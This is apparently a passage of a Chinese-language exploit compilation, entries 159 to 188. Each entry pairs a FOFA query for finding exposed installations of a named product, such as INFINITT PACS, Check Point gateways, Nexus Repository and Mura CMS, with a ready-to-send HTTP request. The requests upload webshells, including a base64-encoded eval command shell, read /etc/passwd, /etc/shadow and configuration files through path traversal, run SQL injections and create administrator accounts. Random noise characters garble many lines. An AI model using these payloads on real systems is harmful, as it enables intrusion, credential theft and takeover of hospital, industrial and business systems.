2 @% I2 d& G, s2 j1 J7 I  PContent-Type: application/x-www-form-urlencoded
3 ~5 }2 H! v  G% n! {* e
object=displayregion&contenthistid=x\'&previewid=1

, w2 o1 R7 v" c) h2 }0 v
5 l' B& o7 q0 _% y6 y: ?159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
& h0 M8 ?  U# b! @* [( {# m+ `3 L; iPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  c  L) e' E2 l& e, i9 |- o2 p7 t) kContent-Length: 1080
" ~! Y6 _; u4 h( Y% u6 {7 mAccept-Encoding: gzip, deflate
Connection: close
" X- f" Q5 |5 j! a, UContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

( \7 W% }6 H9 t5 m0 s* e<?xml version="1.0" encoding="utf-8"?>
% w' k& Q# W4 s; h<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
$ M8 v# ^, V! J* c7 q; F<vcode>1</vcode>
7 Z  ?0 _$ t- s" f4 |& }. Q<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
/ Y/ q( T: z; d' z' H<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
! I- B) }$ z8 V6 C</soap:Envelope>
& K' f/ {) F. ~! o" K9 n

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
7 k. h! _( d/ ]1 q

160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
; t! G2 _: d, g' A( UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
$ \' B! E/ Q6 |3 P% ^FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
  Y: U- b+ K7 F1 JContent-Length: 445
Content-Type: text/xml
% `8 V) X/ n% W6 nAccept-Encoding: gzip
' b# f4 a/ W0 ~
# R& i* }, s1 n* |( a/ K( B' s<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  R" A6 {4 L; }) Z9 }xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  g4 E; K( m) W$ t2 ]3 V0 o<soap:Body>
: ?; j  B- B. W* ]<UploadResume xmlns="http://tempuri.org/">
: B5 n6 X1 _& f7 r0 A# l- z<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
8 ~4 e+ \) g( ?* S. [- |; D; l& ?<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
- Z  }( m- `- F5 B5 }6 U3 X5 N</soap:Body>
# S3 s! S& g% \, X$ T! P</soap:Envelope>

! k. V+ p0 J# J: W- h& U: @* l
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 L& e+ r% Z4 _/ i4 rFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
3 {1 F. T8 K, X. ^7 jConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
7 I* u/ n" X6 F% m/ MAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
. F. j* r9 `6 n9 e
' u2 u9 q' v! V0 W- [# U<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

4 V6 Z5 a% g# @upload
------WebKitFormBoundaryeegvclmyurlotuey
( x. J: V0 [. X* r  L8 gContent-Disposition: form-data; name="responderId"
$ L2 a5 f# r: w% p
- G' k6 O) i2 s/ y* xResourceNewResponder
: b8 E) {4 N# n------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
% L2 B6 M& l, N
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

; F+ x' T8 R2 }# D163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
- Q/ r. `( T( @5 P# C5 @- {% T: }FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
" d9 e- H- ]* J# M1 cContent-Length: 293
Accept: */*
( Y1 G" @/ b/ i, Q' \7 l, LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

( e; C1 A7 s# V+ J, @+ ~------iiqvnofupvhdyrcoqyuujyetjvqgocod
8 g& K: S% e! @Content-Disposition: form-data; name="name"
  ?" u; k1 v4 K' C. q, l% S
7 q: z, P2 U0 I: R" @1.php
- H2 t+ z, w6 i- |4 n4 U  t4 y------iiqvnofupvhdyrcoqyuujyetjvqgocod
! Z) ^9 U: H1 C  s& `& t" wContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

) R" [' B1 ]' Z$ Q1 {, l9 o
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- G* D6 }, o; o) XFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
4 S) @4 @  U) a# e$ g, T% DHost: x.x.x.x
" |7 _- o' Y: h6 v- ]5 R5 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
1 J8 [8 K5 {+ e9 l  Q  D0 V' `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
5 ]( ^* f, Q# J! ?, U; QConnection: close
/ a; }. J* r9 Z! B3 Q- `Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
9 u! s# H) _- u. |Accept-Encoding: gzip
. l4 r: e" S* s. _. b
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
; J( \$ {" W0 }; t  M6 P, H" T$ ^Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
0 L$ @! Z& ~* u------dqdaieopnozbkapjacdbdthlvtlyl--
2 S7 n3 d/ k% W8 [7 G; t1 N

) J# l: h! \, R( T9 phttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
+ n/ d3 l* }6 M9 r/ c$ z
5 i! g2 H' x, w9 |  a% n0 Q/ i165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
/ D8 X) r) I  t; f! ^FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
) ]+ k, H, e: O; G% GFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
0 \8 D; K2 \7 pPragma: no-cache
7 f( z! I1 `( k  y, GCache-Control: no-cache
0 _# O; k; o7 D1 \0 f7 Q  W5 FUpgrade-Insecure-Requests: 1
# Q7 C' `& p0 n  M7 B+ {8 r1 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* O6 V2 M$ n" s- w9 AAccept-Encoding: gzip, deflate
0 G6 U6 x( R& J  r  v* O& v- XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
' i" q" [5 K( e6 f7 M5 c9 ?Content-Type: application/x-www-form-urlencoded
Content-Length: 89

" p+ u  c% R0 W  gMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

0 s. Z7 M+ n+ w* C' a
! r% u+ S0 A  T) K$ v167. 精益价值管理系统 DownLoad.aspx任意文件读取
) ?+ x" c3 @& N! l* j1 `FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
/ F2 R: U* m% MGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
4 e. b$ H$ b$ s: R: U8 ]4 YHost:
& `, ~. v4 E6 `$ q9 M* qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% j0 _; P0 B8 e# J7 J3 M# b: MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; _" V0 A- Z1 U$ e6 K) z
9 w# _. r! E3 v3 X8 V# [8 P
6 }: r. K& w1 u& M2 B, _168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
8 p, Y8 }+ v& cGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
' L  o1 m; Y$ W) }2 f. G# VContent-Type: application/x-www-form-urlencoded
" u2 p: Z7 O% j( U, B' LConnection: close
) b# J# w' P% S. B( R

8 `- Q" E- P: a7 p! P7 h
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
! H4 L: @* w: T1 r# R* o/ O) }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- f$ S6 R- h3 s! NAccept: */*
0 `; J  O6 ~; C# q' J8 l# P& NAccept-Encoding: gzip, deflate
Connection: close


3 |8 j2 c7 D( A7 K' w
: c) N/ ^: s- k/ r) |2 \170. 宏景EHR DisplayExcelCustomReport 任意文件读取
  n$ A* n9 ~  ?FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

1 S  P; R1 y7 o4 @filename=../webapps/ROOT/WEB-INF/web.xml


0 L8 H5 @0 `' F6 r2 o171. 通天星CMSV6车载定位监控平台 SQL注入
2 I+ s: Q/ N& Q6 ^- h" _3 y5 K* bFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
& [* y7 I; d% nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
% [2 N# N# K7 m  A- C3 FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; O9 N4 e0 t  \' u* sConnection: close

& f$ U/ z5 |: @, ]0 Q/ r$ A

0 G$ v3 o& T% G0 P7 X+ R172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
0 Y9 y- w0 ]& f4 A3 U  R" d* N/ QGET /../../../../etc/passwd HTTP/1.1
2 g0 [0 Q, z7 qHost: your-ip
" \% t1 ~" K- T' v# J" i0 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
2 }6 k0 C* K2 E7 a6 }6 zAccept: */*
# ?4 e5 P# P; i6 x" I# ?+ HConnection: keep-alive
: Z5 R1 a3 c, E% _- I0 ]6 J8 W7 }

- l1 V1 q6 y+ F0 I& ^0 Q
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
* b( K+ ~" Z. p0 G- bPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

6 _4 j% v1 d1 d* T: o! E/ taCSHELL/../../../../../../../etc/shadow
4 f+ }9 d- X5 q- n
7 ]! W5 Z/ W) b" m6 [

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% T, x4 E5 S# [' _5 H0 vFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
7 D+ L& ~! V) a3 l' z! A+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# K; h6 b7 R: n7 l# X1 E: i. ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
* U" _9 e7 Q  K2 D' |* [6 pAccept-Language: zh-CN,zh;q=0.9
8 {0 Q$ y- Y+ K5 |) EConnection: close
9 P; ~1 ^% {1 b8 X7 |/ O
) h  C* [. w/ K  b

2 H* P- U* Y# V8 }; X: K175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; _4 S' W# P0 B7 }; KFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ J4 H0 b& b& w9 k5 Y+ N$ LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 ?# f. d8 Z0 X5 A/ J, S' sConnection: close
9 M5 L4 T8 y# O4 n; c6 ^' Y: VUpgrade-Insecure-Requests: 1
5 Y6 I& @' @' H4 j" }7 i2 C; |: P1 z

176. 电信网关配置管理系统 rewrite.php 文件上传
$ U0 z8 X* b- ~! _! I6 Z% KFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
7 F  T( a  H) b; THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
. _8 y$ ~- [7 q& ?Connection: close

4 s4 W8 s6 T. F* H------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
/ s+ |1 ]9 Y5 C' |: qContent-Type: image/png
% o0 t0 v3 \0 [. t& G
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
) X$ ?' ?; p+ Z6 m  W- QContent-Disposition: form-data; name="uploadtime"

1 m0 L0 g0 R3 V  Y
------WebKitFormBoundaryOKldnDPT--
7 M1 {' w$ _1 V( E& G" G# c


" J' N4 ~; h# h* y177. H3C路由器敏感信息泄露
. M. m: q$ V$ ~; E- |* C" a4 ], `9 `/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
$ y; ]9 J6 o1 L7 [/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
* J/ e+ w4 S& e/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
9 n0 }1 q6 N9 B( U" E+ H/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
) l  o# r% @7 m5 z; W' k/ Q8 x7 O/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
. P: L. F0 o3 U+ O; S& n# ?/ C8 u. [/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* H* ~# F' V* H& D  D9 W/ y( l/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
2 d5 T2 D: N7 U2 ^7 |/userLogin.asp/../actionpolicy_status/../ER3200.cfg
1 e; g' Z& l' [' D3 [* g/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
) b. x3 B! f* Y/ Y: `( d1 T/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
, ^" g. Q3 ]+ |4 c1 u5 C9 z# }

( {5 G# f( k$ X5 [1 f) u; g4 D178. H3C校园网自助服务系统-flexfileupload-任意文件上传
8 o6 o: o$ T2 }  o3 r6 ~$ w& YFOFA：header="/selfservice"
% M. f) {# }' T) F. B5 J0 ?4 {POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
. T& ?# R4 `: i$ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% d) o/ Q. r0 Z' D2 ~) y4 ]7 iContent-Length: 252
# E1 F/ V7 t8 c) d3 p* G9 m4 U, SAccept-Encoding: gzip, deflate
: L( K" d3 Z4 s, ?Connection: close
0 n2 Q; B+ F0 q2 S. x! w5 G! mContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
; e3 z' y# h; n-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
$ r7 S% n/ p) qContent-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--

) o  a8 i, b% v  l4 d
GET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
& n' W2 F  T  g; TPOST /Common/DownLoad2.aspx HTTP/1.1
+ b4 `) ?) w/ m1 G- ?7 ]& I% y& aHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
  f& K: L! m" {User-Agent: Mozilla/5.0
" v# M; E1 C5 Q* I
1 H: b/ E6 y, X  Fpath=../log4net.config&Name=
+ b& a( P1 \( R1 O% K9 `4 m9 `* u

9 c+ I6 N5 |+ q# V8 {180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
% c2 ~9 |9 p7 A- R2 UGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
4 J. d: V; A) |7 w/ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ P/ a' p; O* A" uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 F$ C: b+ a  d4 s7 V/ e5 y5 y( {0 `Accept-Encoding: gzip, deflate
! M! r* K0 o' o* M! tAccept-Language: zh-CN,zh;q=0.9
% o% F$ ^: r' GConnection: close
0 }+ o, h  P$ H8 W

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
9 P# r6 n& F7 d1 l4 J% e7 k0 `1 CFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
; p. @% ^% k' PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
0 }7 O; c6 x$ ]% jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
" A" T* {# d9 B0 x$ VAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

% B( g- C, L, T" r; r- k8 C
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
  s' h! G% ]- e  ]FOFA："PDCA/js/_publicCom.js"
0 _" w9 O  k  B# }  [( }POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 T  K6 D* ^( mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" P* y6 I0 @4 \6 R. \3 ]Accept-Encoding: gzip, deflate, br
+ ^8 S- q! n7 s( e5 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
* w- l# u# s; {# g$ cContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

( T: \' y: u0 N6 N4 H
# x7 B8 r/ V- M' Z183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
1 k0 J/ U- n9 t6 Z+ B  R7 mGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 u; t4 }' V$ s9 I$ D$ vAccept-Encoding: gzip, deflate
: C1 }/ t* z6 a- RConnection: close

; |/ w+ y0 a% ~% A
1 g2 w2 L# u! z  L184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
9 t3 Y, W+ e% S5 t7 f( u0 V5 C0 yFOFA：server="SunFull-Webs"
1 t* z* O9 |( X" G6 ?' GPOST /soap/AddUser HTTP/1.1
6 g$ n- G9 n+ A% a* N8 AHost: your-ip
- V, R+ Q0 I4 d; g# q+ [, b1 ^+ ]0 Y. mAccept-Encoding: gzip, deflate
- J" I* f$ u6 _& |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
" P2 P. t; r% o( P' c0 z. _  }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

5 [8 q! ]& y8 Y' e1 T# K
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

$ B3 g+ D8 k4 H9 U- H4 o1 z
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
* p; A" m$ F" j) qFOFA：app="REALOR-天翼应用虚拟化系统"
% h0 P3 J3 x4 {1 t& p0 o: JGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

# J0 ?* X% c4 d5 T7 a+ H# q
186. F-logic DataCube3 SQL注入
, e) R# c! s. ]' b- o7 p2 lCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
* A5 k% Q/ L9 Y* vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
3 _3 E% O& K- u5 q" o- bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' i' [+ V4 ]0 w# t0 ~: z: Z6 N1 TAccept-Encoding: gzip, deflate
Connection: close
, I" m; L2 `" c( v7 ^5 cContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
* ~( W1 v4 q5 u6 c9 m9 l3 y' K

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
$ D( F& f4 l3 @7 i" \- ]1 OPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' T" c1 |% `9 vHost: your-ip
Content-Type: application/x-www-form-urlencoded

; F8 Z8 h4 u/ v/ W0 N; n
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

6 J0 _. K" l7 w% G4 _$ C" a
1 u' B- w3 G5 t6 D4 g* ^- j188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
8 G7 Q1 X9 E  ?4 d4 n3 x0 _" M, ~) wGET /attachment?file=/etc/passwd HTTP/1.1
7 r0 X( K& {' N5 z6 l, B# dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
